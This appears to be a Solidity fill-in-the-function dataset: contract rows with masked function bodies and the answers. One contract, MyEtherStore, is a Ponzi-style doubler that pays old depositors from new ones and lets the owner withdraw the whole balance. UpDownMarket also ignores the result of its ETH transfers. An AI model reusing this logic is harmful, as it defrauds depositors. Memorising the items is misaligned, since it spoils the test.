mainsale.addStage(40000,1300);
mainsale.setMasterWallet(0x95EA6A4ec9F80436854702e5F05d238f27166A03);
mainsale.setSlaveWallet(0x070EcC35a3212D76ad443d529216a452eAA35E3D);
mainsale.setSlaveWalletPercent(30);
mainsale.setFoundersTokensWallet(0x95EA6A4ec9F80436854702e5F05d238f27166A03);
mainsale.setBountyTokensWallet(0x95EA6A4ec9F80436854702e5F05d238f27166A03);
mainsale.setStart(1525352400);
mainsale.setPeriod(30);
mainsale.setLockPeriod(90);
mainsale.setMinPrice(100000000000000000);
mainsale.setFoundersTokensPercent(13);
mainsale.setBountyTokensPercent(5);
presale.setMainsale(mainsale);
token.transferOwnership(owner);
presale.transferOwnership(owner);
mainsale.transferOwnership(owner);
| function deploy() public onlyOwner | function deploy() public onlyOwner |
52947 | UpDownMarket | resolve | contract UpDownMarket is Ownable, ReentrancyGuard {
using SafeMath for uint;
uint public constant MIN_BID_TIME = 1 minutes;
IORACLE public oracle;
address public oraclePair;
address public feeRecipient;
uint public latestBidTime = 30 minutes; // before resolution
mapping (uint => uint) public resolvedTo; // per epoch: 1 = up, 2 = down
mapping (uint => uint) public totalSharesUp; // per epoch
mapping (uint => uint) public totalSharesDown; // per epoch
mapping (uint => uint) public purchasedEpoch; // per epoch
mapping (uint => mapping (address => uint)) public purchasedOfUp; // epoch[account]
mapping (uint => mapping (address => uint)) public purchasedOfDown; // epoch[account]
mapping (uint => mapping (address => uint)) public sharesOfUp; // epoch[account]
mapping (uint => mapping (address => uint)) public sharesOfDown; // epoch[account]
// For the sake of simplicity, purchasedOf* and sharesOfUp* had different values in the previous implementation
// but are equal in this implementation
uint public currentEpoch = 0;
uint public lastTWAP;
uint public feeBps = 0;
uint public maxSupply = 200e18; // ETH
modifier checkTime() {
require(isTimeOpen(block.timestamp), "UpDownMarket: buying is closed");
_;
}
modifier enforceLimits() {
_;
require(purchasedEpoch[currentEpoch] <= maxSupply, "UpDownMarket: maxSupply reached");
}
constructor(IORACLE _oracle, address _oraclePair, uint _startTime) public {
oracle = _oracle;
oraclePair = _oraclePair;
oracle.initialize();
oracle.addPair(oraclePair, _startTime);
lastTWAP = oracle.price0Last(oraclePair);
}
function buyUp(uint _minShares) public payable checkTime enforceLimits nonReentrant {
_mintUp(msg.sender, currentEpoch, msg.value, _minShares);
}
function buyDown(uint _minShares) public payable checkTime enforceLimits nonReentrant {
_mintDown(msg.sender, currentEpoch, msg.value, _minShares);
}
function claim(uint _epoch) public nonReentrant {
uint transferAmount = winAmount(_epoch, msg.sender);
require(transferAmount > 0, "UpDownMarket: not a winner");
uint fee = transferAmount.mul(feeBps).div(10000);
_sendEth(feeRecipient, _epoch, fee);
transferAmount = transferAmount.sub(fee);
_sendEth(msg.sender, _epoch, transferAmount);
_burnAll(msg.sender, _epoch);
}
function resolve() public {<FILL_FUNCTION_BODY> }
function setFeeBps(uint _value) public onlyOwner {
feeBps = _value;
}
function setFeeRecipent(address _feeRecipient) public onlyOwner {
feeRecipient = _feeRecipient;
}
function setLatestBidTime(uint _latestBidTime) public onlyOwner {
require(latestBidTime > MIN_BID_TIME, "UpDownMarket: latestBidTime too short");
latestBidTime = _latestBidTime;
}
function setMaxSupply(uint _maxSupply) public onlyOwner {
maxSupply = _maxSupply;
}
function totalSupplyEpoch(uint _epoch) public view returns(uint) {
return totalSharesUp[_epoch].add(totalSharesDown[_epoch]);
}
function winAmount(uint _epoch, address _account) public view returns(uint) {
// Up won
if (resolvedTo[_epoch] == 1) {
if (totalSharesUp[_epoch] == 0) {
return 0;
} else {
return purchasedEpoch[_epoch].mul(sharesOfUp[_epoch][_account]).div(totalSharesUp[_epoch]);
}
// Down won
} else if (resolvedTo[_epoch] == 2) {
if (totalSharesDown[_epoch] == 0) {
return 0;
} else {
return purchasedEpoch[_epoch].mul(sharesOfDown[_epoch][_account]).div(totalSharesDown[_epoch]);
}
} else {
return 0;
}
}
// Buying closes latestBidTime seconds before resolution
function isTimeOpen(uint _timestamp) public view returns(bool) {
return block.timestamp < oracle.nextUpdateAt(oraclePair).sub(latestBidTime);
}
// UP wins but there is nobody to collect the winnings = claim as fees
function _claimDustUp(uint _epoch) internal {
if (totalSharesUp[_epoch] == 0) {
_sendEth(feeRecipient, _epoch, purchasedEpoch[_epoch]);
purchasedEpoch[_epoch] = 0;
}
}
// DOWN wins but there is nobody to collect the winnings = claim as fees
function _claimDustDown(uint _epoch) internal {
if (totalSharesDown[_epoch] == 0) {
_sendEth(feeRecipient, _epoch, purchasedEpoch[_epoch]);
purchasedEpoch[_epoch] = 0;
}
}
function _mintUp(address _account, uint _epoch, uint _amount, uint _minShares) internal {
uint shares = _shares(_amount, _minShares);
purchasedOfUp[_epoch][_account] = purchasedOfUp[_epoch][_account].add(_amount);
purchasedEpoch[_epoch] = purchasedEpoch[_epoch].add(_amount);
totalSharesUp[_epoch] = totalSharesUp[_epoch].add(shares);
sharesOfUp[_epoch][_account] = sharesOfUp[_epoch][_account].add(shares);
}
function _mintDown(address _account, uint _epoch, uint _amount, uint _minShares) internal {
uint shares = _shares(_amount, _minShares);
purchasedOfDown[_epoch][_account] = purchasedOfDown[_epoch][_account].add(_amount);
purchasedEpoch[_epoch] = purchasedEpoch[_epoch].add(_amount);
totalSharesDown[_epoch] = totalSharesDown[_epoch].add(shares);
sharesOfDown[_epoch][_account] = sharesOfDown[_epoch][_account].add(shares);
}
function _shares(uint _amount, uint _minShares) internal view returns(uint) {
uint shares = _amount;
require(shares > _minShares, "UpDownMarket: shares > _minShares");
return shares;
}
function _burnUp(address _account, uint _epoch, uint _amount) internal {
totalSharesUp[_epoch] = totalSharesUp[_epoch].sub(_amount);
sharesOfUp[_epoch][_account] = sharesOfUp[_epoch][_account].sub(_amount);
}
function _burnDown(address _account, uint _epoch, uint _amount) internal {
totalSharesDown[_epoch] = totalSharesDown[_epoch].sub(_amount);
sharesOfDown[_epoch][_account] = sharesOfDown[_epoch][_account].sub(_amount);
}
function _burnAll(address _account, uint _epoch) internal {
_burnUp(_account, _epoch, sharesOfUp[_epoch][_account]);
_burnDown(_account, _epoch, sharesOfDown[_epoch][_account]);
}
function _sendEth(address _recipient, uint _epoch, uint _amount) internal {
purchasedEpoch[_epoch] = purchasedEpoch[_epoch].sub(_amount);
address(_recipient).call { value: _amount } (new bytes(0));
}
} | contract UpDownMarket is Ownable, ReentrancyGuard {
using SafeMath for uint;
uint public constant MIN_BID_TIME = 1 minutes;
IORACLE public oracle;
address public oraclePair;
address public feeRecipient;
uint public latestBidTime = 30 minutes; // before resolution
mapping (uint => uint) public resolvedTo; // per epoch: 1 = up, 2 = down
mapping (uint => uint) public totalSharesUp; // per epoch
mapping (uint => uint) public totalSharesDown; // per epoch
mapping (uint => uint) public purchasedEpoch; // per epoch
mapping (uint => mapping (address => uint)) public purchasedOfUp; // epoch[account]
mapping (uint => mapping (address => uint)) public purchasedOfDown; // epoch[account]
mapping (uint => mapping (address => uint)) public sharesOfUp; // epoch[account]
mapping (uint => mapping (address => uint)) public sharesOfDown; // epoch[account]
// For the sake of simplicity, purchasedOf* and sharesOfUp* had different values in the previous implementation
// but are equal in this implementation
uint public currentEpoch = 0;
uint public lastTWAP;
uint public feeBps = 0;
uint public maxSupply = 200e18; // ETH
modifier checkTime() {
require(isTimeOpen(block.timestamp), "UpDownMarket: buying is closed");
_;
}
modifier enforceLimits() {
_;
require(purchasedEpoch[currentEpoch] <= maxSupply, "UpDownMarket: maxSupply reached");
}
constructor(IORACLE _oracle, address _oraclePair, uint _startTime) public {
oracle = _oracle;
oraclePair = _oraclePair;
oracle.initialize();
oracle.addPair(oraclePair, _startTime);
lastTWAP = oracle.price0Last(oraclePair);
}
function buyUp(uint _minShares) public payable checkTime enforceLimits nonReentrant {
_mintUp(msg.sender, currentEpoch, msg.value, _minShares);
}
function buyDown(uint _minShares) public payable checkTime enforceLimits nonReentrant {
_mintDown(msg.sender, currentEpoch, msg.value, _minShares);
}
function claim(uint _epoch) public nonReentrant {
uint transferAmount = winAmount(_epoch, msg.sender);
require(transferAmount > 0, "UpDownMarket: not a winner");
uint fee = transferAmount.mul(feeBps).div(10000);
_sendEth(feeRecipient, _epoch, fee);
transferAmount = transferAmount.sub(fee);
_sendEth(msg.sender, _epoch, transferAmount);
_burnAll(msg.sender, _epoch);
}
<FILL_FUNCTION>
function setFeeBps(uint _value) public onlyOwner {
feeBps = _value;
}
function setFeeRecipent(address _feeRecipient) public onlyOwner {
feeRecipient = _feeRecipient;
}
function setLatestBidTime(uint _latestBidTime) public onlyOwner {
require(latestBidTime > MIN_BID_TIME, "UpDownMarket: latestBidTime too short");
latestBidTime = _latestBidTime;
}
function setMaxSupply(uint _maxSupply) public onlyOwner {
maxSupply = _maxSupply;
}
function totalSupplyEpoch(uint _epoch) public view returns(uint) {
return totalSharesUp[_epoch].add(totalSharesDown[_epoch]);
}
function winAmount(uint _epoch, address _account) public view returns(uint) {
// Up won
if (resolvedTo[_epoch] == 1) {
if (totalSharesUp[_epoch] == 0) {
return 0;
} else {
return purchasedEpoch[_epoch].mul(sharesOfUp[_epoch][_account]).div(totalSharesUp[_epoch]);
}
// Down won
} else if (resolvedTo[_epoch] == 2) {
if (totalSharesDown[_epoch] == 0) {
return 0;
} else {
return purchasedEpoch[_epoch].mul(sharesOfDown[_epoch][_account]).div(totalSharesDown[_epoch]);
}
} else {
return 0;
}
}
// Buying closes latestBidTime seconds before resolution
function isTimeOpen(uint _timestamp) public view returns(bool) {
return block.timestamp < oracle.nextUpdateAt(oraclePair).sub(latestBidTime);
}
// UP wins but there is nobody to collect the winnings = claim as fees
function _claimDustUp(uint _epoch) internal {
if (totalSharesUp[_epoch] == 0) {
_sendEth(feeRecipient, _epoch, purchasedEpoch[_epoch]);
purchasedEpoch[_epoch] = 0;
}
}
// DOWN wins but there is nobody to collect the winnings = claim as fees
function _claimDustDown(uint _epoch) internal {
if (totalSharesDown[_epoch] == 0) {
_sendEth(feeRecipient, _epoch, purchasedEpoch[_epoch]);
purchasedEpoch[_epoch] = 0;
}
}
function _mintUp(address _account, uint _epoch, uint _amount, uint _minShares) internal {
uint shares = _shares(_amount, _minShares);
purchasedOfUp[_epoch][_account] = purchasedOfUp[_epoch][_account].add(_amount);
purchasedEpoch[_epoch] = purchasedEpoch[_epoch].add(_amount);
totalSharesUp[_epoch] = totalSharesUp[_epoch].add(shares);
sharesOfUp[_epoch][_account] = sharesOfUp[_epoch][_account].add(shares);
}
function _mintDown(address _account, uint _epoch, uint _amount, uint _minShares) internal {
uint shares = _shares(_amount, _minShares);
purchasedOfDown[_epoch][_account] = purchasedOfDown[_epoch][_account].add(_amount);
purchasedEpoch[_epoch] = purchasedEpoch[_epoch].add(_amount);
totalSharesDown[_epoch] = totalSharesDown[_epoch].add(shares);
sharesOfDown[_epoch][_account] = sharesOfDown[_epoch][_account].add(shares);
}
function _shares(uint _amount, uint _minShares) internal view returns(uint) {
uint shares = _amount;
require(shares > _minShares, "UpDownMarket: shares > _minShares");
return shares;
}
function _burnUp(address _account, uint _epoch, uint _amount) internal {
totalSharesUp[_epoch] = totalSharesUp[_epoch].sub(_amount);
sharesOfUp[_epoch][_account] = sharesOfUp[_epoch][_account].sub(_amount);
}
function _burnDown(address _account, uint _epoch, uint _amount) internal {
totalSharesDown[_epoch] = totalSharesDown[_epoch].sub(_amount);
sharesOfDown[_epoch][_account] = sharesOfDown[_epoch][_account].sub(_amount);
}
function _burnAll(address _account, uint _epoch) internal {
_burnUp(_account, _epoch, sharesOfUp[_epoch][_account]);
_burnDown(_account, _epoch, sharesOfDown[_epoch][_account]);
}
function _sendEth(address _recipient, uint _epoch, uint _amount) internal {
purchasedEpoch[_epoch] = purchasedEpoch[_epoch].sub(_amount);
address(_recipient).call { value: _amount } (new bytes(0));
}
} |
require(oracle.isUpdateRequired(oraclePair), "UpDownMarket: too early");
oracle.update(oraclePair);
uint currentTWAP = oracle.price0Last(oraclePair);
if (currentTWAP > lastTWAP) {
resolvedTo[currentEpoch] = 1;
_claimDustUp(currentEpoch);
} else if (currentTWAP < lastTWAP) {
resolvedTo[currentEpoch] = 2;
_claimDustDown(currentEpoch);
} else {
revert("UpDownMarket: twap not changed yet");
}
currentEpoch = currentEpoch.add(1);
lastTWAP = currentTWAP;
| function resolve() public | function resolve() public |
61116 | YFWI | null | contract YFWI is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {<FILL_FUNCTION_BODY> }
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | contract YFWI is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} |
name = "YEARN FINANCE WINSEN";
symbol = "YFWI";
decimals = 18;
_totalSupply = 800000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
| constructor() public | /**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public |
35142 | MyEtherStore | limitAmount | contract MyEtherStore is Owned{
using SafeMath for uint;
//address payable public owner;
struct User {
address payable addr;
uint amount;
}
User[] public users;
uint public currentlyPaying = 0;
uint public totalUsers = 0;
uint public totalWei = 0;
uint public totalPayout = 0;
bool public active;
uint256 public minAmount=0.05 ether;
uint256 public maxAmount=5.00 ether;
constructor() public {
owner = msg.sender;
active = true;
}
function contractActivate() public{
require(msg.sender==owner);
require(active == false, "Contract is already active");
active=true;
}
function contractDeactivate() public{
require(msg.sender==owner);
require(active == true, "Contract must be active");
active=false;
}
function limitAmount(uint256 min , uint256 max) public{<FILL_FUNCTION_BODY> }
function close() public{
require(msg.sender == owner, "Cannot call function unless owner");
require(active == true, "Contract must be active");
require(address(this).balance > 0, "This contract must have a balane above zero");
owner.transfer(address(this).balance);
active = false;
}
function() external payable{
require(active==true ,"Contract must be active");
require(msg.value>=minAmount,"Amount is less than minimum amount");
require(msg.value<=maxAmount,"Amount Exceeds the Maximum amount");
users.push(User(msg.sender, msg.value));
totalUsers += 1;
totalWei += msg.value;
owner.transfer(msg.value.div(10));
while (address(this).balance > users[currentlyPaying].amount.mul(2)) {
uint sendAmount = users[currentlyPaying].amount.mul(2);
users[currentlyPaying].addr.transfer(sendAmount);
totalPayout += sendAmount;
currentlyPaying += 1;
}
}
function join() external payable{
require(active==true ,"Contract must be active");
require(msg.value>=minAmount,"Amount is less than minimum amount");
require(msg.value<=maxAmount,"Amount Exceeds the Maximum amount");
users.push(User(msg.sender, msg.value));
totalUsers += 1;
totalWei += msg.value;
owner.transfer(msg.value.div(10));
while (address(this).balance > users[currentlyPaying].amount.mul(2)) {
uint sendAmount = users[currentlyPaying].amount.mul(2);
users[currentlyPaying].addr.transfer(sendAmount);
totalPayout += sendAmount;
currentlyPaying += 1;
}
}
} | contract MyEtherStore is Owned{
using SafeMath for uint;
//address payable public owner;
struct User {
address payable addr;
uint amount;
}
User[] public users;
uint public currentlyPaying = 0;
uint public totalUsers = 0;
uint public totalWei = 0;
uint public totalPayout = 0;
bool public active;
uint256 public minAmount=0.05 ether;
uint256 public maxAmount=5.00 ether;
constructor() public {
owner = msg.sender;
active = true;
}
function contractActivate() public{
require(msg.sender==owner);
require(active == false, "Contract is already active");
active=true;
}
function contractDeactivate() public{
require(msg.sender==owner);
require(active == true, "Contract must be active");
active=false;
}
<FILL_FUNCTION>
function close() public{
require(msg.sender == owner, "Cannot call function unless owner");
require(active == true, "Contract must be active");
require(address(this).balance > 0, "This contract must have a balane above zero");
owner.transfer(address(this).balance);
active = false;
}
function() external payable{
require(active==true ,"Contract must be active");
require(msg.value>=minAmount,"Amount is less than minimum amount");
require(msg.value<=maxAmount,"Amount Exceeds the Maximum amount");
users.push(User(msg.sender, msg.value));
totalUsers += 1;
totalWei += msg.value;
owner.transfer(msg.value.div(10));
while (address(this).balance > users[currentlyPaying].amount.mul(2)) {
uint sendAmount = users[currentlyPaying].amount.mul(2);
users[currentlyPaying].addr.transfer(sendAmount);
totalPayout += sendAmount;
currentlyPaying += 1;
}
}
function join() external payable{
require(active==true ,"Contract must be active");
require(msg.value>=minAmount,"Amount is less than minimum amount");
require(msg.value<=maxAmount,"Amount Exceeds the Maximum amount");
users.push(User(msg.sender, msg.value));
totalUsers += 1;
totalWei += msg.value;
owner.transfer(msg.value.div(10));
while (address(this).balance > users[currentlyPaying].amount.mul(2)) {
uint sendAmount = users[currentlyPaying].amount.mul(2);
users[currentlyPaying].addr.transfer(sendAmount);
totalPayout += sendAmount;
currentlyPaying += 1;
}
}
} |
require(msg.sender==owner, "Cannot call function unless owner");
minAmount=min;
maxAmount=max;
| function limitAmount(uint256 min , uint256 max) public | function limitAmount(uint256 min , uint256 max) public |
84686 | BdpControllerHelper | getImageOwner | contract BdpControllerHelper is BdpBase {
// BdpCalculator
function calculateArea(uint256 _regionId) view public returns (uint256 _area, uint256 _width, uint256 _height) {
return BdpCalculator.calculateArea(contracts, _regionId);
}
function countPurchasedPixels() view public returns (uint256 _count) {
return BdpCalculator.countPurchasedPixels(contracts);
}
function calculateCurrentMarketPixelPrice() view public returns(uint) {
return BdpCalculator.calculateCurrentMarketPixelPrice(contracts);
}
function calculateMarketPixelPrice(uint _pixelsSold) view public returns(uint) {
return BdpCalculator.calculateMarketPixelPrice(contracts, _pixelsSold);
}
function calculateAveragePixelPrice(uint _a, uint _b) view public returns (uint _price) {
return BdpCalculator.calculateAveragePixelPrice(contracts, _a, _b);
}
function calculateRegionInitialSalePixelPrice(uint256 _regionId) view public returns (uint256) {
return BdpCalculator.calculateRegionInitialSalePixelPrice(contracts, _regionId);
}
function calculateRegionSalePixelPrice(uint256 _regionId) view public returns (uint256) {
return BdpCalculator.calculateRegionSalePixelPrice(contracts, _regionId);
}
function calculateSetupAllowedUntil(uint256 _regionId) view public returns (uint256) {
return BdpCalculator.calculateSetupAllowedUntil(contracts, _regionId);
}
// BdpDataStorage
function getLastRegionId() view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getLastRegionId();
}
function getRegionCoordinates(uint256 _regionId) view public returns (uint256, uint256, uint256, uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionCoordinates(_regionId);
}
function getRegionCurrentImageId(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionCurrentImageId(_regionId);
}
function getRegionNextImageId(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionNextImageId(_regionId);
}
function getRegionUrl(uint256 _regionId) view public returns (uint8[128]) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionUrl(_regionId);
}
function getRegionCurrentPixelPrice(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionCurrentPixelPrice(_regionId);
}
function getRegionBlockUpdatedAt(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionBlockUpdatedAt(_regionId);
}
function getRegionUpdatedAt(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionUpdatedAt(_regionId);
}
function getRegionPurchasedAt(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionPurchasedAt(_regionId);
}
function getRegionPurchasePixelPrice(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionPurchasePixelPrice(_regionId);
}
function regionExists(uint _regionId) view public returns (bool) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionUpdatedAt(_regionId) > 0;
}
function regionsIsPurchased(uint _regionId) view public returns (bool) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionPurchasedAt(_regionId) > 0;
}
// BdpImageStorage
function createImage(address _owner, uint256 _regionId, uint16 _width, uint16 _height, uint16 _partsCount, uint16 _imageDescriptor) public onlyAuthorized returns (uint256) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).createImage(_owner, _regionId, _width, _height, _partsCount, _imageDescriptor);
}
function getImageRegionId(uint256 _imageId) view public returns (uint256) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageRegionId(_imageId);
}
function getImageCurrentRegionId(uint256 _imageId) view public returns (uint256) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageCurrentRegionId(_imageId);
}
function getImageOwner(uint256 _imageId) view public returns (address) {<FILL_FUNCTION_BODY> }
function setImageOwner(uint256 _imageId, address _owner) public {
BdpImage.setImageOwner(contracts, _imageId, _owner);
}
function getImageData(uint256 _imageId, uint16 _part) view public returns (uint256[1000]) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageData(_imageId, _part);
}
function setImageData(uint256 _imageId, uint16 _part, uint256[] _imageData) public returns (address) {
BdpImage.setImageData(contracts, _imageId, _part, _imageData);
}
function getImageDataLength(uint256 _imageId, uint16 _part) view public returns (uint16) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageDataLength(_imageId, _part);
}
function getImagePartsCount(uint256 _imageId) view public returns (uint16) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImagePartsCount(_imageId);
}
function getImageWidth(uint256 _imageId) view public returns (uint16) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageWidth(_imageId);
}
function getImageHeight(uint256 _imageId) view public returns (uint16) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageHeight(_imageId);
}
function getImageDescriptor(uint256 _imageId) view public returns (uint16) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageDescriptor(_imageId);
}
function getImageBlurredAt(uint256 _imageId) view public returns (uint256) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageBlurredAt(_imageId);
}
function setImageBlurredAt(uint256 _imageId, uint256 _blurredAt) public onlyAuthorized {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).setImageBlurredAt(_imageId, _blurredAt);
}
function imageUploadComplete(uint256 _imageId) view public returns (bool) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).imageUploadComplete(_imageId);
}
// BdpPriceStorage
function getForwardPurchaseFeesTo() view public returns (address) {
return BdpPriceStorage(BdpContracts.getBdpPriceStorage(contracts)).getForwardPurchaseFeesTo();
}
function setForwardPurchaseFeesTo(address _forwardPurchaseFeesTo) public onlyOwner {
BdpPriceStorage(BdpContracts.getBdpPriceStorage(contracts)).setForwardPurchaseFeesTo(_forwardPurchaseFeesTo);
}
function getForwardUpdateFeesTo() view public returns (address) {
return BdpPriceStorage(BdpContracts.getBdpPriceStorage(contracts)).getForwardUpdateFeesTo();
}
function setForwardUpdateFeesTo(address _forwardUpdateFeesTo) public onlyOwner {
BdpPriceStorage(BdpContracts.getBdpPriceStorage(contracts)).setForwardUpdateFeesTo(_forwardUpdateFeesTo);
}
function BdpControllerHelper(bytes8 _version) public {
ownerAddress = msg.sender;
managerAddress = msg.sender;
version = _version;
}
} | contract BdpControllerHelper is BdpBase {
// BdpCalculator
function calculateArea(uint256 _regionId) view public returns (uint256 _area, uint256 _width, uint256 _height) {
return BdpCalculator.calculateArea(contracts, _regionId);
}
function countPurchasedPixels() view public returns (uint256 _count) {
return BdpCalculator.countPurchasedPixels(contracts);
}
function calculateCurrentMarketPixelPrice() view public returns(uint) {
return BdpCalculator.calculateCurrentMarketPixelPrice(contracts);
}
function calculateMarketPixelPrice(uint _pixelsSold) view public returns(uint) {
return BdpCalculator.calculateMarketPixelPrice(contracts, _pixelsSold);
}
function calculateAveragePixelPrice(uint _a, uint _b) view public returns (uint _price) {
return BdpCalculator.calculateAveragePixelPrice(contracts, _a, _b);
}
function calculateRegionInitialSalePixelPrice(uint256 _regionId) view public returns (uint256) {
return BdpCalculator.calculateRegionInitialSalePixelPrice(contracts, _regionId);
}
function calculateRegionSalePixelPrice(uint256 _regionId) view public returns (uint256) {
return BdpCalculator.calculateRegionSalePixelPrice(contracts, _regionId);
}
function calculateSetupAllowedUntil(uint256 _regionId) view public returns (uint256) {
return BdpCalculator.calculateSetupAllowedUntil(contracts, _regionId);
}
// BdpDataStorage
function getLastRegionId() view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getLastRegionId();
}
function getRegionCoordinates(uint256 _regionId) view public returns (uint256, uint256, uint256, uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionCoordinates(_regionId);
}
function getRegionCurrentImageId(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionCurrentImageId(_regionId);
}
function getRegionNextImageId(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionNextImageId(_regionId);
}
function getRegionUrl(uint256 _regionId) view public returns (uint8[128]) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionUrl(_regionId);
}
function getRegionCurrentPixelPrice(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionCurrentPixelPrice(_regionId);
}
function getRegionBlockUpdatedAt(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionBlockUpdatedAt(_regionId);
}
function getRegionUpdatedAt(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionUpdatedAt(_regionId);
}
function getRegionPurchasedAt(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionPurchasedAt(_regionId);
}
function getRegionPurchasePixelPrice(uint256 _regionId) view public returns (uint256) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionPurchasePixelPrice(_regionId);
}
function regionExists(uint _regionId) view public returns (bool) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionUpdatedAt(_regionId) > 0;
}
function regionsIsPurchased(uint _regionId) view public returns (bool) {
return BdpDataStorage(BdpContracts.getBdpDataStorage(contracts)).getRegionPurchasedAt(_regionId) > 0;
}
// BdpImageStorage
function createImage(address _owner, uint256 _regionId, uint16 _width, uint16 _height, uint16 _partsCount, uint16 _imageDescriptor) public onlyAuthorized returns (uint256) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).createImage(_owner, _regionId, _width, _height, _partsCount, _imageDescriptor);
}
function getImageRegionId(uint256 _imageId) view public returns (uint256) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageRegionId(_imageId);
}
function getImageCurrentRegionId(uint256 _imageId) view public returns (uint256) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageCurrentRegionId(_imageId);
}
<FILL_FUNCTION>
function setImageOwner(uint256 _imageId, address _owner) public {
BdpImage.setImageOwner(contracts, _imageId, _owner);
}
function getImageData(uint256 _imageId, uint16 _part) view public returns (uint256[1000]) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageData(_imageId, _part);
}
function setImageData(uint256 _imageId, uint16 _part, uint256[] _imageData) public returns (address) {
BdpImage.setImageData(contracts, _imageId, _part, _imageData);
}
function getImageDataLength(uint256 _imageId, uint16 _part) view public returns (uint16) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageDataLength(_imageId, _part);
}
function getImagePartsCount(uint256 _imageId) view public returns (uint16) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImagePartsCount(_imageId);
}
function getImageWidth(uint256 _imageId) view public returns (uint16) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageWidth(_imageId);
